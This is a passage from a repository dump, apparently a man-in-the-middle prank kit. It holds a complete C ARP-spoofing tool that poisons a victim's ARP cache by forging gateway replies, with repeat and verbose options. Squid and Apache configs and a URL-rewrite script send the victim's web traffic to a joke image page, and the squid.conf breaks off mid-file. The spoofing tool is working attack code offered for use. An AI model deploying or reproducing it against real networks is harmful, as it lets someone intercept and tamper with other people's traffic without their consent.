{\n\t\tifa = ifa->ifa_next;\n\t}\n\n\tunsigned int flags = ifa ? ifa->ifa_flags : 0;\n\tbool ret = ifa && (flags & IFF_UP) && (flags & IFF_RUNNING) && !(flags & IFF_LOOPBACK);\n\tfreeifaddrs(ifaddr);\n\treturn ret;\n}\n\nchar *get_interface(void)\n{\n\tstruct ifaddrs *ifaddr, *ifa;\n\tchar *ret = NULL;\n\tif (getifaddrs(&ifaddr) == -1) {\n\t\tdie(strerror(errno));\n\t}\n\n\t/* get first listed operational interface */\n\tfor (ifa = ifaddr; ifa != NULL; ifa = ifa->ifa_next) {\n\t\tunsigned int flags = ifa->ifa_flags;\n\t\tif ((flags & IFF_UP) && (flags & IFF_RUNNING) && !(flags & IFF_LOOPBACK)) {\n\t\t\tret = strdup(ifa->ifa_name);\n\t\t\tbreak;\n\t\t}\n\t}\n\n\tfreeifaddrs(ifaddr);\n\treturn ret;\n}\n\nuint32_t get_gateway(const char *if_name)\n{\n\tuint32_t ret;\n\tchar buf[1024];\n\tconst char seps[] = \" \\t\";\n\tFILE *f = fopen(\"/proc/net/route\", \"r\");\n\n\t/* believe it or not, this is the best way to do it */\n\tdo {\n\t\tfgets(buf, 1024, f);\n\t} while (strncmp(if_name, buf, strlen(if_name)));\n\n\tchar *p = strtok(buf, seps);\n\tp = strtok(NULL, seps);\n\tp = strtok(NULL, seps);\n\tp[8] = '\\0';\n\n\tret = strtol(p, NULL, 16);\n\n\tfclose(f);\n\treturn ret;\n}\n\nvoid request_mac(int fd, const char *if_name, struct ether_arp *req, uint32_t ip_addr)\n{\n\t/* will be sent to everyone */\n\tconst unsigned char ether_broadcast_addr[] =\n\t{ 0xff, 0xff, 0xff, 0xff, 0xff, 0xff };\n\n\tstruct ifreq ifr;\n\tset_ifr_name(&ifr, if_name);\n\n\t/* special socket address type used for AF_PACKET */\n\tstruct sockaddr_ll addr = {0};\n\taddr.sll_family   = AF_PACKET;\n\taddr.sll_ifindex  = get_ifr_ifindex(fd, &ifr);\n\taddr.sll_halen    = ETHER_ADDR_LEN;\n\taddr.sll_protocol = htons(ETH_P_ARP);\n\tmemcpy(addr.sll_addr, ether_broadcast_addr, ETHER_ADDR_LEN);\n\n\t/* construct the ARP request */\n\treq->arp_hrd = htons(ARPHRD_ETHER);\n\treq->arp_pro = htons(ETH_P_IP);\n\treq->arp_hln = ETHER_ADDR_LEN;\n\treq->arp_pln = sizeof(in_addr_t);\n\treq->arp_op  = htons(ARPOP_REQUEST);\n\n\t/* zero because that's what we're asking for */\n\tmemset(&req->arp_tha, 0, sizeof(req->arp_tha));\n\tmemcpy(&req->arp_tpa, &ip_addr, sizeof(req->arp_tpa));\n\tget_ifr_hwaddr(fd, &ifr);\n\tmemcpy(&req->arp_sha, (unsigned char *) ifr.ifr_hwaddr.sa_data, sizeof(req->arp_sha));\n\tget_ifr_addr(fd, &ifr);\n\tmemcpy(&req->arp_spa, (unsigned char *) ifr.ifr_addr.sa_data + 2, sizeof(req->arp_spa));\n\n\t/* actually send it */\n\tif (sendto(fd, req, sizeof(struct ether_arp), 0, (struct sockaddr *) &addr, sizeof(addr)) == -1) {\n\t\tdie(strerror(errno));\n\t}\n\n\twhile (1) {\n\t\t/* can't use recvfrom() -- no network layer */\n\t\tint len = recv(fd, req, sizeof(struct ether_arp), 0);\n\t\tif (len == -1) {\n\t\t\tdie(strerror(errno));\n\t\t}\n\t\tif (len == 0) {   /* no response */\n\t\t\tcontinue;\n\t\t}\n\t\t\n\t\tunsigned int from_addr =\n\t\t\t(req->arp_spa[3] << 24)\n\t\t      | (req->arp_spa[2] << 16)\n\t\t      | (req->arp_spa[1] << 8)\n\t\t      | (req->arp_spa[0] << 0);\n\t\tif (from_addr != ip_addr) {\n\t\t\tcontinue;\n\t\t}\n\n\t\t/* everything's good, we have our response */\n\t\tbreak;\n\t}\n}\n\nvoid arp_spoof(int fd, const char *if_name,\n\t\tconst unsigned char *attacker_mac, uint32_t gateway_ip,\n\t\tconst unsigned char *victim_mac, uint32_t victim_ip)\n{\n\tstruct ether_arp resp;\n\tstruct ifreq ifr;\n\tset_ifr_name(&ifr, if_name);\n\n\tstruct sockaddr_ll addr = {0};\n\taddr.sll_family         = AF_PACKET;\n\taddr.sll_ifindex        = get_ifr_ifindex(fd, &ifr);\n\taddr.sll_halen          = ETHER_ADDR_LEN;\n\taddr.sll_protocol       = htons(ETH_P_ARP);\n\tmemcpy(addr.sll_addr, victim_mac, ETHER_ADDR_LEN);\n\n\tresp.arp_hrd = htons(ARPHRD_ETHER);\n\tresp.arp_pro = htons(ETH_P_IP);\n\tresp.arp_hln = ETHER_ADDR_LEN;\n\tresp.arp_pln = sizeof(in_addr_t);\n\tresp.arp_op  = htons(ARPOP_REPLY);\n\n\tmemcpy(&resp.arp_sha, attacker_mac, sizeof(resp.arp_sha));\n\tmemcpy(&resp.arp_spa, &gateway_ip,  sizeof(resp.arp_spa));\n\tmemcpy(&resp.arp_tha, victim_mac,   sizeof(resp.arp_tha));\n\tmemcpy(&resp.arp_tpa, &victim_ip,   sizeof(resp.arp_tpa));\n\n\tif (sendto(fd, &resp, sizeof(resp), 0, (struct sockaddr *) &addr, sizeof(addr)) == -1) {\n\t\tdie(strerror(errno));\n\t}\n}\n\nvoid print_help(char argv0[]) {\n\tprintf(\"Usage: %s [OPTION [ARG]]... VICTIM_IP\\n\", argv0);\n\tputs(\"  -i, --interface Network interface to use, given as the argument. If this option is not used, the interface defaults to the first running non-loopback interface.\");\n\tputs(\"  -r, --repeat Resends the packet continuously with a delay given in seconds by the argument. A delay of zero means only one packet is sent.\");\n\tputs(\"  -a, --attacker-ip Choose another machine (other than the one running this program) as the one to be disguised.\");\n\tputs(\"  -g, --gateway-ip Spoof to an IP (given as an argument) other than the default gateway.\");\n\tputs(\"  -v, --verbose Prints out extra info about the machines involved.\");\n}\n\nint main(int argc, char *argv[])\n{\n\tstruct ether_arp req;\n\tunsigned char attacker_mac[6];\n\tunsigned char victim_mac[6];\n\tstruct in_addr ip_addr = {0};\n\tchar *if_name          = NULL;\n\tchar *victim_ip_str    = NULL;\n\tuint32_t attacker_ip   = 0;\n\tuint32_t gateway_ip    = 0;\n\tint repeat             = 0;\n\tint verbose            = 0;\n\n\t/* parsing code here */\n\tint c;\n\twhile (1) {\n\t\tstatic const struct option long_options[] = {\n\t\t\t{ \"attacker-ip\", required_argument, NULL, 'a' },\n\t\t\t{ \"interface\",   required_argument, NULL, 'i' },\n\t\t\t{ \"repeat\",      required_argument, NULL, 'r' },\n\t\t\t{ \"gateway-ip\",  required_argument, NULL, 'g' },\n\t\t\t{ \"verbose\",     no_argument,       NULL, 'v' },\n\t\t\t{ 0,             0,                 0,     0  }\n\t\t};\n\n\t\tint option_index = 0;\n\n\t\tc = getopt_long(argc, argv, \"a:i:r:g:v\", long_options, &option_index);\n\n\t\tif (c == -1) {\n\t\t\tbreak;\n\t\t}\n\n\t\tswitch (c) {\n\t\tcase 'a':\n\t\t\tif (!inet_aton(optarg, &ip_addr)) {\n\t\t\t\tdie(\"Attacker IP is invalid\");\n\t\t\t}\n\t\t\tattacker_ip = ip_addr.s_addr;\n\t\t\tbreak;\n\t\tcase 'i':\n\t\t\tif_name = strdup(optarg);\n\t\t\tif (!check_interface(if_name)) {\n\t\t\t\tdie(\"Invalid interface (nonexistent or not connected?)\");\n\t\t\t}\n\t\t\tbreak;\n\t\tcase 'r':\n\t\t\trepeat = strtoul(optarg, NULL, 10);\n\t\t\tbreak;\n\t\tcase 'g':\n\t\t\tif (!inet_aton(optarg, &ip_addr)) {\n\t\t\t\tdie(\"Gateway IP is invalid\");\n\t\t\t}\n\t\t\tgateway_ip = ip_addr.s_addr;\n\t\t\tbreak;\n\t\tcase 'v':\n\t\t\tverbose = 1;\n\t\t\tbreak;\n\t\tcase '?':\n\t\t\tprint_help(argv[0]);\n\t\t\tbreak;\n\t\tdefault:\n\t\t\tdie(\"Invalid option\");\n\t\t\tbreak;\n\t\t}\n\t}\n\n\tif (argc > optind + 1) {\n\t\tdie(\"Too many arguments\");\n\t} else if (argc == optind) {\n\t\tdie(\"Please provide a victim IP\");\n\t} else {\n\t\tvictim_ip_str = argv[optind];\n\t}\n\n\tif (!inet_aton(victim_ip_str, &ip_addr)) {\n\t\tdie(\"Invalid IP address\");\n\t}\n\tuint32_t victim_ip = ip_addr.s_addr;\n\n\tif (!if_name) {\n\t\tif_name = get_interface();\n\t}\n\t/* get_interface() didn't find anything */\n\tif (!if_name) {\n\t\tdie(\"No valid interface found (are you not connected?)\");\n\t}\n\tif (!gateway_ip) {\n\t\tgateway_ip = get_gateway(if_name);\n\t}\n\n\t/* get an ARP socket */\n\tint fd = socket(AF_PACKET, SOCK_DGRAM, htons(ETH_P_ARP));\n\tif (fd == -1) {\n\t\tdie(strerror(errno));\n\t}\n\n\tif (attacker_ip) {\n\t\trequest_mac(fd, if_name, &req, attacker_ip);\n\t\tmemcpy(attacker_mac, req.arp_sha, sizeof(attacker_mac));\n\n\t} else {\n\t\tstruct ifreq ifr;\n\t\tset_ifr_name(&ifr, if_name);\n\t\tget_ifr_hwaddr(fd, &ifr);\n\t\tmemcpy(attacker_mac, ifr.ifr_hwaddr.sa_data, sizeof(attacker_mac));\n\t\tget_ifr_addr(fd, &ifr);\n\t\tmemcpy(&attacker_ip, (unsigned char *) ifr.ifr_addr.sa_data + 2, sizeof(attacker_ip));\n\t}\n\n\trequest_mac(fd, if_name, &req, victim_ip);\n\tmemcpy(victim_mac, req.arp_sha, sizeof(victim_mac));\n\n\tif (verbose) {\n\t\tputs(\"\\t\\tIP address\\tMAC address\");\n\t\tprint_addrs(\"Attacker\", attacker_ip, attacker_mac);\n\t\trequest_mac(fd, if_name, &req, gateway_ip);\n\t\tprint_addrs(\"Gateway\", gateway_ip, req.arp_sha);\n\t\tprint_addrs(\"Victim\", victim_ip, victim_mac);\n\t\tprintf(\"\\nInterface:\\t%s\\n\", if_name);\n\t}\n\n\tif (repeat) {\n\t\tprintf(\"Repeating every %d seconds (Ctrl+C to quit)\\n\", repeat);\n\t}\n\tdo {\n\t\tarp_spoof(fd, if_name, attacker_mac, gateway_ip, victim_mac, victim_ip);\n\t\tsleep(repeat);\n\t} while (repeat);\n\n\tfree(if_name);\n\treturn EXIT_SUCCESS;\n}\n"
  },
  {
    "path": "cage.sh",
    "content": "#!/bin/sh\nwhile read line; do\n\techo 'http://i.huffpost.com/gen/1548397/images/o-NIC-CAGE-facebook.jpg'\ndone\n"
  },
  {
    "path": "http/index.html",
    "content": "<h1>all your packet are belong to us</h1>\n<img src=\"images/cage.jpg\"/>\n"
  },
  {
    "path": "httpd.conf",
    "content": "#\n# This is the main Apache HTTP server configuration file.  It contains the\n# configuration directives that give the server its instructions.\n# See <URL:http://httpd.apache.org/docs/2.4/> for detailed information.\n# In particular, see \n# <URL:http://httpd.apache.org/docs/2.4/mod/directives.html>\n# for a discussion of each configuration directive.\n#\n# Do NOT simply read the instructions in here without understanding\n# what they do.  They're here only as hints or reminders.  If you are unsure\n# consult the online docs. You have been warned.  \n#\n# Configuration and logfile names: If the filenames you specify for many\n# of the server's control files begin with \"/\" (or \"drive:/\" for Win32), the\n# server will use that explicit path.  If the filenames do *not* begin\n# with \"/\", the value of ServerRoot is prepended -- so \"logs/access_log\"\n# with ServerRoot set to \"/usr/local/apache2\" will be interpreted by the\n# server as \"/usr/local/apache2/logs/access_log\", whereas \"/logs/access_log\" \n# will be interpreted as '/logs/access_log'.\n\n#\n# ServerRoot: The top of the directory tree under which the server's\n# configuration, error, and log files are kept.\n#\n# Do not add a slash at the end of the directory path.  If you point\n# ServerRoot at a non-local disk, be sure to specify a local disk on the\n# Mutex directive, if file-based mutexes are used.  If you wish to share the\n# same ServerRoot for multiple httpd daemons, you will need to change at\n# least PidFile.\n#\nServerRoot \"/etc/httpd\"\n\n#\n# Mutex: Allows you to set the mutex mechanism and mutex file directory\n# for individual mutexes, or change the global defaults\n#\n# Uncomment and change the directory if mutexes are file-based and the default\n# mutex file directory is not on a local disk or is not appropriate for some\n# other reason.\n#\n# Mutex default:/run/httpd\n\n#\n# Listen: Allows you to bind Apache to specific IP addresses and/or\n# ports, instead of the default. See also the <VirtualHost>\n# directive.\n#\n# Change this to Listen on specific IP addresses as shown below to \n# prevent Apache from glomming onto all bound IP addresses.\n#\n#Listen 12.34.56.78:80\nListen 80\nListen 3129\n\n#\n# Dynamic Shared Object (DSO) Support\n#\n# To be able to use the functionality of a module which was built as a DSO you\n# have to place corresponding `LoadModule' lines at this location so the\n# directives contained in it are actually available _before_ they are used.\n# Statically compiled modules (those listed by `httpd -l') do not need\n# to be loaded here.\n#\n# Example:\n# LoadModule foo_module modules/mod_foo.so\n#\nLoadModule authn_file_module modules/mod_authn_file.so\n#LoadModule authn_dbm_module modules/mod_authn_dbm.so\n#LoadModule authn_anon_module modules/mod_authn_anon.so\n#LoadModule authn_dbd_module modules/mod_authn_dbd.so\n#LoadModule authn_socache_module modules/mod_authn_socache.so\nLoadModule authn_core_module modules/mod_authn_core.so\nLoadModule authz_host_module modules/mod_authz_host.so\nLoadModule authz_groupfile_module modules/mod_authz_groupfile.so\nLoadModule authz_user_module modules/mod_authz_user.so\n#LoadModule authz_dbm_module modules/mod_authz_dbm.so\n#LoadModule authz_owner_module modules/mod_authz_owner.so\n#LoadModule authz_dbd_module modules/mod_authz_dbd.so\nLoadModule authz_core_module modules/mod_authz_core.so\n#LoadModule authnz_ldap_module modules/mod_authnz_ldap.so\n#LoadModule authnz_fcgi_module modules/mod_authnz_fcgi.so\nLoadModule access_compat_module modules/mod_access_compat.so\nLoadModule auth_basic_module modules/mod_auth_basic.so\n#LoadModule auth_form_module modules/mod_auth_form.so\n#LoadModule auth_digest_module modules/mod_auth_digest.so\n#LoadModule allowmethods_module modules/mod_allowmethods.so\n#LoadModule file_cache_module modules/mod_file_cache.so\n#LoadModule cache_module modules/mod_cache.so\n#LoadModule cache_disk_module modules/mod_cache_disk.so\n#LoadModule cache_socache_module modules/mod_cache_socache.so\n#LoadModule socache_shmcb_module modules/mod_socache_shmcb.so\n#LoadModule socache_dbm_module modules/mod_socache_dbm.so\n#LoadModule socache_memcache_module modules/mod_socache_memcache.so\n#LoadModule watchdog_module modules/mod_watchdog.so\n#LoadModule macro_module modules/mod_macro.so\n#LoadModule dbd_module modules/mod_dbd.so\n#LoadModule dumpio_module modules/mod_dumpio.so\n#LoadModule echo_module modules/mod_echo.so\n#LoadModule buffer_module modules/mod_buffer.so\n#LoadModule data_module modules/mod_data.so\n#LoadModule ratelimit_module modules/mod_ratelimit.so\nLoadModule reqtimeout_module modules/mod_reqtimeout.so\n#LoadModule ext_filter_module modules/mod_ext_filter.so\n#LoadModule request_module modules/mod_request.so\nLoadModule include_module modules/mod_include.so\nLoadModule filter_module modules/mod_filter.so\n#LoadModule reflector_module modules/mod_reflector.so\n#LoadModule substitute_module modules/mod_substitute.so\n#LoadModule sed_module modules/mod_sed.so\n#LoadModule charset_lite_module modules/mod_charset_lite.so\n#LoadModule deflate_module modules/mod_deflate.so\n#LoadModule xml2enc_module modules/mod_xml2enc.so\n#LoadModule proxy_html_module modules/mod_proxy_html.so\nLoadModule mime_module modules/mod_mime.so\n#LoadModule ldap_module modules/mod_ldap.so\nLoadModule log_config_module modules/mod_log_config.so\n#LoadModule log_debug_module modules/mod_log_debug.so\n#LoadModule log_forensic_module modules/mod_log_forensic.so\n#LoadModule logio_module modules/mod_logio.so\n#LoadModule lua_module modules/mod_lua.so\nLoadModule env_module modules/mod_env.so\n#LoadModule mime_magic_module modules/mod_mime_magic.so\n#LoadModule cern_meta_module modules/mod_cern_meta.so\n#LoadModule expires_module modules/mod_expires.so\nLoadModule headers_module modules/mod_headers.so\n#LoadModule ident_module modules/mod_ident.so\n#LoadModule usertrack_module modules/mod_usertrack.so\n#LoadModule unique_id_module modules/mod_unique_id.so\nLoadModule setenvif_module modules/mod_setenvif.so\nLoadModule version_module modules/mod_version.so\n#LoadModule remoteip_module modules/mod_remoteip.so\nLoadModule proxy_module modules/mod_proxy.so\nLoadModule proxy_connect_module modules/mod_proxy_connect.so\nLoadModule proxy_ftp_module modules/mod_proxy_ftp.so\nLoadModule proxy_http_module modules/mod_proxy_http.so\nLoadModule proxy_fcgi_module modules/mod_proxy_fcgi.so\nLoadModule proxy_scgi_module modules/mod_proxy_scgi.so\n#LoadModule proxy_fdpass_module modules/mod_proxy_fdpass.so\nLoadModule proxy_wstunnel_module modules/mod_proxy_wstunnel.so\nLoadModule proxy_ajp_module modules/mod_proxy_ajp.so\nLoadModule proxy_balancer_module modules/mod_proxy_balancer.so\nLoadModule proxy_express_module modules/mod_proxy_express.so\n#LoadModule session_module modules/mod_session.so\n#LoadModule session_cookie_module modules/mod_session_cookie.so\n#LoadModule session_crypto_module modules/mod_session_crypto.so\n#LoadModule session_dbd_module modules/mod_session_dbd.so\nLoadModule slotmem_shm_module modules/mod_slotmem_shm.so\n#LoadModule slotmem_plain_module modules/mod_slotmem_plain.so\n#LoadModule ssl_module modules/mod_ssl.so\n#LoadModule dialup_module modules/mod_dialup.so\nLoadModule lbmethod_byrequests_module modules/mod_lbmethod_byrequests.so\nLoadModule lbmethod_bytraffic_module modules/mod_lbmethod_bytraffic.so\nLoadModule lbmethod_bybusyness_module modules/mod_lbmethod_bybusyness.so\nLoadModule lbmethod_heartbeat_module modules/mod_lbmethod_heartbeat.so\nLoadModule mpm_event_module modules/mod_mpm_event.so\nLoadModule unixd_module modules/mod_unixd.so\n#LoadModule heartbeat_module modules/mod_heartbeat.so\n#LoadModule heartmonitor_module modules/mod_heartmonitor.so\n#LoadModule dav_module modules/mod_dav.so\nLoadModule status_module modules/mod_status.so\nLoadModule autoindex_module modules/mod_autoindex.so\n#LoadModule asis_module modules/mod_asis.so\n#LoadModule info_module modules/mod_info.so\n#LoadModule suexec_module modules/mod_suexec.so\n#LoadModule cgid_module modules/mod_cgid.so\n#LoadModule cgi_module modules/mod_cgi.so\n#LoadModule dav_fs_module modules/mod_dav_fs.so\n#LoadModule dav_lock_module modules/mod_dav_lock.so\n#LoadModule vhost_alias_module modules/mod_vhost_alias.so\nLoadModule negotiation_module modules/mod_negotiation.so\nLoadModule dir_module modules/mod_dir.so\n#LoadModule imagemap_module modules/mod_imagemap.so\n#LoadModule actions_module modules/mod_actions.so\n#LoadModule speling_module modules/mod_speling.so\nLoadModule userdir_module modules/mod_userdir.so\nLoadModule alias_module modules/mod_alias.so\nLoadModule rewrite_module modules/mod_rewrite.so\n\n<IfModule unixd_module>\n#\n# If you wish httpd to run as a different user or group, you must run\n# httpd as root initially and it will switch.  \n#\n# User/Group: The name (or #number) of the user/group to run httpd as.\n# It is usually good practice to create a dedicated user and group for\n# running httpd, as with most system services.\n#\nUser http\nGroup http\n\n</IfModule>\n\n# 'Main' server configuration\n#\n# The directives in this section set up the values used by the 'main'\n# server, which responds to any requests that aren't handled by a\n# <VirtualHost> definition.  These values also provide defaults for\n# any <VirtualHost> containers you may define later in the file.\n#\n# All of these directives may appear inside <VirtualHost> containers,\n# in which case these default settings will be overridden for the\n# virtual host being defined.\n#\n\n#\n# ServerAdmin: Your address, where problems with the server should be\n# e-mailed.  This address appears on some server-generated pages, such\n# as error documents.  e.g. admin@your-domain.com\n#\nServerAdmin you@example.com\n\n#\n# ServerName gives the name and port that the server uses to identify itself.\n# This can often be determined automatically, but we recommend you specify\n# it explicitly to prevent problems during startup.\n#\n# If your host doesn't have a registered DNS name, enter its IP address here.\n#\n#ServerName www.example.com:80\n\n#\n# Deny access to the entirety of your server's filesystem. You must\n# explicitly permit access to web content directories in other \n# <Directory> blocks below.\n#\n<Directory />\n    AllowOverride none\n    Require all denied\n</Directory>\n\n#\n# Note that from this point forward you must specifically allow\n# particular features to be enabled - so if something's not working as\n# you might expect, make sure that you have specifically enabled it\n# below.\n#\n\n#\n# DocumentRoot: The directory out of which you will serve your\n# documents. By default, all requests are taken from this directory, but\n# symbolic links and aliases may be used to point to other locations.\n#\nDocumentRoot \"/srv/http\"\n<Directory \"/srv/http\">\n    #\n    # Possible values for the Options directive are \"None\", \"All\",\n    # or any combination of:\n    #   Indexes Includes FollowSymLinks SymLinksifOwnerMatch ExecCGI MultiViews\n    #\n    # Note that \"MultiViews\" must be named *explicitly* --- \"Options All\"\n    # doesn't give it to you.\n    #\n    # The Options directive is both complicated and important.  Please see\n    # http://httpd.apache.org/docs/2.4/mod/core.html#options\n    # for more information.\n    #\n    Options Indexes FollowSymLinks\n\n    #\n    # AllowOverride controls what directives may be placed in .htaccess files.\n    # It can be \"All\", \"None\", or any combination of the keywords:\n    #   AllowOverride FileInfo AuthConfig Limit\n    #\n    AllowOverride None\n\n    #\n    # Controls who can get stuff from this server.\n    #\n    Require all granted\n</Directory>\n\n#\n# DirectoryIndex: sets the file that Apache will serve if a directory\n# is requested.\n#\n<IfModule dir_module>\n    DirectoryIndex index.html\n</IfModule>\n\n#\n# The following lines prevent .htaccess and .htpasswd files from being \n# viewed by Web clients. \n#\n<Files \".ht*\">\n    Require all denied\n</Files>\n\n#\n# ErrorLog: The location of the error log file.\n# If you do not specify an ErrorLog directive within a <VirtualHost>\n# container, error messages relating to that virtual host will be\n# logged here.  If you *do* define an error logfile for a <VirtualHost>\n# container, that host's errors will be logged there and not here.\n#\nErrorLog \"/var/log/httpd/error_log\"\n\n#\n# LogLevel: Control the number of messages logged to the error_log.\n# Possible values include: debug, info, notice, warn, error, crit,\n# alert, emerg.\n#\nLogLevel warn\n\n<IfModule log_config_module>\n    #\n    # The following directives define some format nicknames for use with\n    # a CustomLog directive (see below).\n    #\n    LogFormat \"%h %l %u %t \\\"%r\\\" %>s %b \\\"%{Referer}i\\\" \\\"%{User-Agent}i\\\"\" combined\n    LogFormat \"%h %l %u %t \\\"%r\\\" %>s %b\" common\n\n    <IfModule logio_module>\n      # You need to enable mod_logio.c to use %I and %O\n      LogFormat \"%h %l %u %t \\\"%r\\\" %>s %b \\\"%{Referer}i\\\" \\\"%{User-Agent}i\\\" %I %O\" combinedio\n    </IfModule>\n\n    #\n    # The location and format of the access logfile (Common Logfile Format).\n    # If you do not define any access logfiles within a <VirtualHost>\n    # container, they will be logged here.  Contrariwise, if you *do*\n    # define per-<VirtualHost> access logfiles, transactions will be\n    # logged therein and *not* in this file.\n    #\n    CustomLog \"/var/log/httpd/access_log\" common\n\n    #\n    # If you prefer a logfile with access, agent, and referer information\n    # (Combined Logfile Format) you can use the following directive.\n    #\n    #CustomLog \"/var/log/httpd/access_log\" combined\n</IfModule>\n\n<IfModule alias_module>\n    #\n    # Redirect: Allows you to tell clients about documents that used to \n    # exist in your server's namespace, but do not anymore. The client \n    # will make a new request for the document at its new location.\n    # Example:\n    # Redirect permanent /foo http://www.example.com/bar\n\n    #\n    # Alias: Maps web paths into filesystem paths and is used to\n    # access content that does not live under the DocumentRoot.\n    # Example:\n    # Alias /webpath /full/filesystem/path\n    #\n    # If you include a trailing / on /webpath then the server will\n    # require it to be present in the URL.  You will also likely\n    # need to provide a <Directory> section to allow access to\n    # the filesystem path.\n\n    #\n    # ScriptAlias: This controls which directories contain server scripts. \n    # ScriptAliases are essentially the same as Aliases, except that\n    # documents in the target directory are treated as applications and\n    # run by the server when requested rather than as documents sent to the\n    # client.  The same rules about trailing \"/\" apply to ScriptAlias\n    # directives as to Alias.\n    #\n    ScriptAlias /cgi-bin/ \"/srv/http/cgi-bin/\"\n\n</IfModule>\n\n<IfModule cgid_module>\n    #\n    # ScriptSock: On threaded servers, designate the path to the UNIX\n    # socket used to communicate with the CGI daemon of mod_cgid.\n    #\n    #Scriptsock cgisock\n</IfModule>\n\n#\n# \"/srv/http/cgi-bin\" should be changed to whatever your ScriptAliased\n# CGI directory exists, if you have that configured.\n#\n<Directory \"/srv/http/cgi-bin\">\n    AllowOverride None\n    Options None\n    Require all granted\n</Directory>\n\n<IfModule mime_module>\n    #\n    # TypesConfig points to the file containing the list of mappings from\n    # filename extension to MIME-type.\n    #\n    TypesConfig conf/mime.types\n\n    #\n    # AddType allows you to add to or override the MIME configuration\n    # file specified in TypesConfig for specific file types.\n    #\n    #AddType application/x-gzip .tgz\n    #\n    # AddEncoding allows you to have certain browsers uncompress\n    # information on the fly. Note: Not all browsers support this.\n    #\n    #AddEncoding x-compress .Z\n    #AddEncoding x-gzip .gz .tgz\n    #\n    # If the AddEncoding directives above are commented-out, then you\n    # probably should define those extensions to indicate media types:\n    #\n    AddType application/x-compress .Z\n    AddType application/x-gzip .gz .tgz\n\n    #\n    # AddHandler allows you to map certain file extensions to \"handlers\":\n    # actions unrelated to filetype. These can be either built into the server\n    # or added with the Action directive (see below)\n    #\n    # To use CGI scripts outside of ScriptAliased directories:\n    # (You will also need to add \"ExecCGI\" to the \"Options\" directive.)\n    #\n    #AddHandler cgi-script .cgi\n\n    # For type maps (negotiated resources):\n    #AddHandler type-map var\n\n    #\n    # Filters allow you to process content before it is sent to the client.\n    #\n    # To parse .shtml files for server-side includes (SSI):\n    # (You will also need to add \"Includes\" to the \"Options\" directive.)\n    #\n    #AddType text/html .shtml\n    #AddOutputFilter INCLUDES .shtml\n</IfModule>\n\n#\n# The mod_mime_magic module allows the server to use various hints from the\n# contents of the file itself to determine its type.  The MIMEMagicFile\n# directive tells the module where the hint definitions are located.\n#\n#MIMEMagicFile conf/magic\n\n#\n# Customizable error responses come in three flavors:\n# 1) plain text 2) local redirects 3) external redirects\n#\n# Some examples:\n#ErrorDocument 500 \"The server made a boo boo.\"\n#ErrorDocument 404 /missing.html\n#ErrorDocument 404 \"/cgi-bin/missing_handler.pl\"\n#ErrorDocument 402 http://www.example.com/subscription_info.html\n#\n\n#\n# MaxRanges: Maximum number of Ranges in a request before\n# returning the entire resource, or one of the special\n# values 'default', 'none' or 'unlimited'.\n# Default setting is to accept 200 Ranges.\n#MaxRanges unlimited\n\n#\n# EnableMMAP and EnableSendfile: On systems that support it, \n# memory-mapping or the sendfile syscall may be used to deliver\n# files.  This usually improves server performance, but must\n# be turned off when serving from networked-mounted \n# filesystems or if support for these functions is otherwise\n# broken on your system.\n# Defaults: EnableMMAP On, EnableSendfile Off\n#\n#EnableMMAP off\n#EnableSendfile on\n\n# Supplemental configuration\n#\n# The configuration files in the conf/extra/ directory can be \n# included to add extra features or to modify the default configuration of \n# the server, or you may simply copy their contents here and change as \n# necessary.\n\n# Server-pool management (MPM specific)\nInclude conf/extra/httpd-mpm.conf\n\n# Multi-language error messages\nInclude conf/extra/httpd-multilang-errordoc.conf\n\n# Fancy directory listings\nInclude conf/extra/httpd-autoindex.conf\n\n# Language settings\nInclude conf/extra/httpd-languages.conf\n\n# User home directories\nInclude conf/extra/httpd-userdir.conf\n\n# Real-time info on requests and configuration\n#Include conf/extra/httpd-info.conf\n\n# Virtual hosts\n#Include conf/extra/httpd-vhosts.conf\n\n# Local access to the Apache HTTP Server Manual\n#Include conf/extra/httpd-manual.conf\n\n# Distributed authoring and versioning (WebDAV)\n#Include conf/extra/httpd-dav.conf\n\n# Various default settings\nInclude conf/extra/httpd-default.conf\n\n# Configure mod_proxy_html to understand HTML4/XHTML1\n<IfModule proxy_html_module>\nInclude conf/extra/proxy-html.conf\n</IfModule>\n\n# Secure (SSL/TLS) connections\n#Include conf/extra/httpd-ssl.conf\n#\n# Note: The following must must be present to support\n#       starting without SSL on platforms with no /dev/random equivalent\n#       but a statically compiled-in mod_ssl.\n#\n<IfModule ssl_module>\nSSLRandomSeed startup builtin\nSSLRandomSeed connect builtin\n</IfModule>\n#\n# uncomment out the below to deal with user agents that deliberately\n# violate open standards by misusing DNT (DNT *must* be a specific\n# end-user choice)\n#\n#<IfModule setenvif_module>\n#BrowserMatch \"MSIE 10.0;\" bad_DNT\n#</IfModule>\n#<IfModule headers_module>\n#RequestHeader unset DNT env=bad_DNT\n#</IfModule>\n\n\nRewriteEngine On\nRewriteCond %{REQUEST_URI} !=/index.html\nRewriteCond %{REQUEST_URI} !=/images/cage.jpg\nRewriteRule ^ /index.html [R=301]\n"
  },
  {
    "path": "squid.conf",
    "content": "#\n# Recommended minimum configuration:\n#\n\n# Example rule allowing access from your local networks.\n# Adapt to list your (internal) IP networks from where browsing\n# should be allowed\nacl localnet src 10.0.0.0/8\t# RFC1918 possible internal network\nacl localnet src 172.16.0.0/12\t# RFC1918 possible internal network\nacl localnet src 192.168.0.0/16\t# RFC1918 possible internal network\nacl localnet src fc00::/7       # RFC 4193 local private network range\nacl localnet src fe80::/10      # RFC 4291 link-local (directly plugged) machines\n\nacl localnet src 129.59.0.0/16\n\nacl SSL_ports port 443\nacl Safe_ports port 80\t\t# http\nacl Safe_ports port 21\t\t# ftp\nacl Safe_ports port 443\t\t# https\nacl Safe_ports port 70\t\t# gopher\nacl Safe_ports port 210\t\t# wais\nacl Safe_ports port 1025-65535\t# unregistered ports\nacl Safe_ports port 280\t\t# http-mgmt\nacl Safe_ports port 488\t\t# gss-http\nacl Safe_ports port 591\t\t# filemaker\nacl Safe_ports port 777\t\t# multiling http\nacl CONNECT method CONNECT\n\n#\n# Recommended minimum Access Permission configuration:\n#\n# Deny requests to certain unsafe ports\nhttp_access deny !Safe_ports\n\n# Deny CONNECT to other than secure SSL ports\nhttp_access deny CONNECT !SSL_ports\n\n# Only allow cachemgr access from localhost\nhttp_access allow localhost manager\nhttp_access deny manager\n\n# We strongly recommend the following be uncommented to protect innocent\n# web applications running on the proxy server who think the only\n# one who can access services on \"localhost\" is a local user\n#http_access deny to_localhost\n\n#\n# INSERT YOUR OWN RULE(S) HERE TO ALLOW ACCESS FROM YOUR CLIENTS\n#\n\n# Example rule allowing access from your local networks.\n# Adapt localnet in the ACL section to list your (internal) IP networks\n# from where browsing should be 